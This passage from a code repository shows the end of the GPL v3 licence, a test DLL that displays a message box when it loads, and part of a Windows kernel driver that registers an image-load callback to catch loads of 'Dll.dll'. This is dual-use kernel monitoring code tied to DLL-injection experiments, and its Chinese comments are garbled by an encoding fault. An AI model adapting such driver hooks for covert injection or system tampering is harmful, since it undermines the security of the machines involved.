and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n 5. Conveying Modified Source Versions.\n\n You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n a) The work must carry prominent notices stating that you modified\n it, and giving a relevant date.\n\n b) The work must carry prominent notices stating that it is\n released under this License and any conditions added under section\n 7. This requirement modifies the requirement in section 4 to\n \"keep intact all notices\".\n\n c) You must license the entire work, as a whole, under this\n License to anyone who comes into possession of a copy. This\n License will therefore apply, along with any applicable section 7\n additional terms, to the whole of the work, and all its parts,\n regardless of how they are packaged. This License gives no\n permission to license the work in any other way, but it does not\n invalidate such permission if you have separately received it.\n\n d) If the work has interactive user interfaces, each must display\n Appropriate Legal Notices; however, if the Program has interactive\n interfaces that do not display Appropriate Legal Notices, your\n work need not make them do so.\n\n A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit. Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n 6. Conveying Non-Source Forms.\n\n You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n a) Convey the object code in, or embodied in, a physical product\n (including a physical distribution medium), accompanied by the\n Corresponding Source fixed on a durable physical medium\n customarily used for software interchange.\n\n b) Convey the object code in, or embodied in, a physical product\n (including a physical distribution medium), accompanied by a\n written offer, valid for at least three years and valid for as\n long as you offer spare parts or customer support for that product\n model, to give anyone who possesses the object code either (1) a\n copy of the Corresponding Source for all the software in the\n product that is covered by this License, on a durable physical\n medium customarily used for software interchange, for a price no\n more than your reasonable cost of physically performing this\n conveying of source, or (2) access to copy the\n Corresponding Source from a network server at no charge.\n\n c) Convey individual copies of the object code with a copy of the\n written offer to provide the Corresponding Source. This\n alternative is allowed only occasionally and noncommercially, and\n only if you received the object code with such an offer, in accord\n with subsection 6b.\n\n d) Convey the object code by offering access from a designated\n place (gratis or for a charge), and offer equivalent access to the\n Corresponding Source in the same way through the same place at no\n further charge. You need not require recipients to copy the\n Corresponding Source along with the object code. If the place to\n copy the object code is a network server, the Corresponding Source\n may be on a different server (operated by you or a third party)\n that supports equivalent copying facilities, provided you maintain\n clear directions next to the object code saying where to find the\n Corresponding Source. Regardless of what server hosts the\n Corresponding Source, you remain obligated to ensure that it is\n available for as long as needed to satisfy these requirements.\n\n e) Convey the object code using peer-to-peer transmission, provided\n you inform other peers where the object code and Corresponding\n Source of the work are being offered to the general public at no\n charge under subsection 6d.\n\n A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling. In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage. For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product. A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source. The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information. But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed. Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n 7. Additional Terms.\n\n \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law. If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit. (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.) You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n a) Disclaiming warranty or limiting liability differently from the\n terms of sections 15 and 16 of this License; or\n\n b) Requiring preservation of specified reasonable legal notices or\n author attributions in that material or in the Appropriate Legal\n Notices displayed by works containing it; or\n\n c) Prohibiting misrepresentation of the origin of that material, or\n requiring that modified versions of such material be marked in\n reasonable ways as different from the original version; or\n\n d) Limiting the use for publicity purposes of names of licensors or\n authors of the material; or\n\n e) Declining to grant rights under trademark law for use of some\n trade names, trademarks, or service marks; or\n\n f) Requiring indemnification of licensors and authors of that\n material by anyone who conveys the material (or modified versions of\n it) with contractual assumptions of liability to the recipient, for\n any liability that these contractual assumptions directly impose on\n those licensors and authors.\n\n All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10. If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term. If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n 8. Termination.\n\n You may not propagate or modify a covered work except as expressly\nprovided under this License. Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License. If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n 9. Acceptance Not Required for Having Copies.\n\n You are not required to accept this License in order to receive or\nrun a copy of the Program. Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance. However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work. These actions infringe copyright if you do\nnot accept this License. Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n 10. Automatic Licensing of Downstream Recipients.\n\n Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License. You are not responsible\nfor enforcing compliance by third parties with this License.\n\n An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations. If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License. For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n 11. Patents.\n\n A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based. The\nwork thus licensed is called the contributor's \"contributor version\".\n\n A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version. For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement). To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients. \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License. You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n 12. No Surrender of Others' Freedom.\n\n If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License. If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all. For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n 13. Use with the GNU Affero General Public License.\n\n Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work. The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n 14. Revised Versions of this License.\n\n The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time. Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n Each version is given a distinguishing version number. If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation. If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n Later license versions may give you additional or different\npermissions. However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n 15. Disclaimer of Warranty.\n\n THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n 16. Limitation of Liability.\n\n IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n 17. Interpretation of Sections 15 and 16.\n\n If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n END OF TERMS AND CONDITIONS\n\n How to Apply These Terms to Your New Programs\n\n If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n To do so, attach the following notices to the program. It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n \n Copyright (C) \n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n\nAlso add information on how to contact you by electronic and paper mail.\n\n If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n Copyright (C) \n This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n This is free software, and you are welcome to redistribute it\n under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License. Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n.\n\n The GNU General Public License does not permit incorporating your program\ninto proprietary programs. If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library. If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License. But first, please read\n.\n" }, { "path": "LoadImageCallBack/Dll/Dll/Dll.cpp", "content": "// Dll.cpp : DLL Ӧóĵ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n\r\n\r\n" }, { "path": "LoadImageCallBack/Dll/Dll/Dll.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Itanium\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Debug\r\n x64\r\n \r\n \r\n Release\r\n Itanium\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n Release\r\n x64\r\n \r\n \r\n \r\n {4559DB89-E784-4DE3-9C88-6A3512731B99}\r\n Win32Proj\r\n Dll\r\n \r\n \r\n \r\n DynamicLibrary\r\n true\r\n Unicode\r\n \r\n \r\n DynamicLibrary\r\n true\r\n Unicode\r\n \r\n \r\n DynamicLibrary\r\n true\r\n Unicode\r\n \r\n \r\n DynamicLibrary\r\n false\r\n true\r\n Unicode\r\n \r\n \r\n DynamicLibrary\r\n false\r\n true\r\n Unicode\r\n \r\n \r\n DynamicLibrary\r\n false\r\n true\r\n Unicode\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n false\r\n false\r\n false\r\n \r\n \r\n \r\n \r\n \r\n \r\n false\r\n false\r\n false\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n Create\r\n Create\r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "LoadImageCallBack/Dll/Dll/Dll.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n" }, { "path": "LoadImageCallBack/Dll/Dll/ReadMe.txt", "content": "Dll File to popup a messagebox when loaded\n" }, { "path": "LoadImageCallBack/Dll/Dll/dllmain.cpp", "content": "// dllmain.cpp : DLL Ӧóڵ㡣\r\n#include \"stdafx.h\"\r\n\r\n\r\n\r\nDWORD WINAPI ThreadProc(LPVOID lpParameter);\r\nBOOL APIENTRY DllMain( HMODULE hModule,\r\n DWORD ul_reason_for_call,\r\n LPVOID lpReserved\r\n\t\t\t\t\t )\r\n{\r\n\tswitch (ul_reason_for_call)\r\n\t{\r\n\tcase DLL_PROCESS_ATTACH:\r\n\t\t{\r\n\r\n\t\t\t\tMessageBox(NULL,L\"עɹ\",L\"a\",1);\r\n\t\t\t\tHANDLE hIhread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,NULL);\r\n\t\t}\r\n\tcase DLL_THREAD_ATTACH:\r\n\tcase DLL_THREAD_DETACH:\r\n\tcase DLL_PROCESS_DETACH:\r\n\t\tbreak;\r\n\t}\r\n\treturn TRUE;\r\n}\r\n\r\n\r\n\r\nDWORD WINAPI ThreadProc(LPVOID lpParameter)\r\n{\r\n\treturn 0;\r\n} " }, { "path": "LoadImageCallBack/Dll/Dll/stdafx.cpp", "content": "// stdafx.cpp : ֻ׼ļԴļ\r\n// Dll.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: STDAFX.H \r\n// κĸͷļڴļ\r\n" }, { "path": "LoadImageCallBack/Dll/Dll/stdafx.h", "content": "// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#define WIN32_LEAN_AND_MEAN // Windows ͷļųʹõϢ\r\n// Windows ͷļ:\r\n#include \r\n\r\n\r\n\r\n// TODO: ڴ˴óҪͷļ\r\n" }, { "path": "LoadImageCallBack/Dll/Dll/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h õ߰汾 Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "LoadImageCallBack/Dll/Dll.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"Dll\", \"Dll\\Dll.vcxproj\", \"{4559DB89-E784-4DE3-9C88-6A3512731B99}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Itanium = Debug|Itanium\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tRelease|Itanium = Release|Itanium\r\n\t\tRelease|Win32 = Release|Win32\r\n\t\tRelease|x64 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Debug|Itanium.ActiveCfg = Debug|Itanium\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Debug|Itanium.Build.0 = Debug|Itanium\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Release|Itanium.ActiveCfg = Release|Itanium\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Release|Itanium.Build.0 = Release|Itanium\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{4559DB89-E784-4DE3-9C88-6A3512731B99}.Release|x64.Build.0 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "LoadImageCallBack/LoadImageCallBack/ModuleCallBack.c", "content": "\r\n#ifndef CXX_MODULECALLBACK_H\r\n# include \"ModuleCallBack.h\"\r\n#endif\r\n#include \"struct.h\"\r\n\r\nIMAGE_DOS_HEADER* pDosHeader;\r\nIMAGE_OPTIONAL_HEADER * pOptHeader;\r\nIMAGE_IMPORT_DESCRIPTOR * pImportDesc;\r\nHANDLE hanSection = NULL;\r\nHANDLE hFile = NULL;\r\nPVOID MapFileBaseAddress = NULL;\r\n\r\n\r\nNTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)\r\n{\r\n DriverObject->DriverUnload = UnloadDriver;\r\n PsSetLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)LoadImageNotifyRoutine);\r\n\r\n return STATUS_SUCCESS;\r\n}\r\n\r\nVOID LoadImageNotifyRoutine(PUNICODE_STRING FullImageName,HANDLE ProcessId,PIMAGE_INFO ImageInfor)\r\n{\r\n PEPROCESS Process = NULL;\r\n CHAR szProcessPath[512] = {0};\r\n NTSTATUS Status = STATUS_SUCCESS;\r\n ULONG ulProcessNameLen = 0;\r\n HANDLE Thread = NULL;\r\n WCHAR wzPath[260] = {0};\r\n PFILE_OBJECT FileObject;\r\n\r\n if(ProcessId == 0 || ProcessId == (HANDLE)4)\r\n return ;\r\n\r\n if( FullImageName != NULL && MmIsAddressValid(FullImageName))\r\n {\r\n \r\n Status = PsLookupProcessByProcessId((HANDLE)ProcessId,&Process);\r\n if(!NT_SUCCESS(Status))\r\n return;\r\n\r\n //ͨEProcessý\r\n ulProcessNameLen = strlen((const char*)PsGetProcessImageFileName(Process));\r\n memcpy(szProcessPath,(const char*)PsGetProcessImageFileName(Process),ulProcessNameLen); \r\n DbgPrint(\"%s\\r\\n\",szProcessPath);\r\n\r\n //strcmp(szProcessPath,\"Inject.exe\")==0&&\r\n if(wcsstr(FullImageName->Buffer,L\"Dll.dll\") != NULL)\r\n {\r\n FileObject = CONTAINING_RECORD(FullImageName,FILE_OBJECT,FileName);\r\n\r\n if(!GetPathByFileObject(FileObject, wzPath))\r\n goto __END;\r\n\r\n Status = PsCreateSystemThread (&Thread,\r\n THREAD_ALL_ACCESS,\r\n NULL,\r\n NULL,\r\n NULL,\r\n MyProcessThread,\r\n wzPath);\r\n\r\n //Ϣṹ\r\n //ڵвҵ¼r3ʾ\r\n }\r\n }\r\n\r\n__END:\r\n\r\n if(Process)\r\n {\r\n ObDereferenceObject(Process);\r\n Process = NULL;\r\n }\r\n return;\r\n}\r\n\r\n\r\n\r\nBOOLEAN GetPathByFileObject(PFILE_OBJECT FileObject, WCHAR* wzPath)\r\n{\r\n BOOLEAN bGetPath = FALSE;\r\n POBJECT_NAME_INFORMATION ObjectNameInformation1 = NULL;\r\n __try\r\n {\r\n if (FileObject && MmIsAddressValid(FileObject) && wzPath)\r\n {\r\n if (NT_SUCCESS(IoQueryFileDosDeviceName(FileObject,&ObjectNameInformation1))) //עúúҪͷڴ\r\n {\r\n wcsncpy(wzPath,ObjectNameInformation1->Name.Buffer,ObjectNameInformation1->Name.Length);\r\n bGetPath = TRUE;\r\n ExFreePool(ObjectNameInformation1);\r\n }\r\n if (!bGetPath)\r\n {\r\n if (IoVolumeDeviceToDosName||RtlVolumeDeviceToDosName)\r\n {\r\n NTSTATUS Status = STATUS_UNSUCCESSFUL;\r\n ULONG ulRet= 0;\r\n POBJECT_NAME_INFORMATION Buffer = (POBJECT_NAME_INFORMATION)ExAllocatePool(PagedPool,0x1000);\r\n if (Buffer)\r\n {\r\n // ObQueryNameString :C:\\Program Files\\VMware\\VMware Tools\\VMwareTray.exe\r\n memset(Buffer, 0, 0x1000);\r\n Status = ObQueryNameString(FileObject, Buffer, 0x1000, &ulRet);\r\n if (NT_SUCCESS(Status))\r\n {\r\n POBJECT_NAME_INFORMATION Temp = Buffer;\r\n WCHAR szHarddiskVolume[100] = L\"\\\\Device\\\\HarddiskVolume\";\r\n if (Temp->Name.Buffer!=NULL)\r\n {\r\n if (Temp->Name.Length / sizeof(WCHAR) > wcslen(szHarddiskVolume) &&\r\n !_wcsnicmp(Temp->Name.Buffer, szHarddiskVolume, wcslen(szHarddiskVolume)))\r\n {\r\n // \"\\\\Device\\\\HarddiskVolume\" ʽڵģôٲѯ\r\n 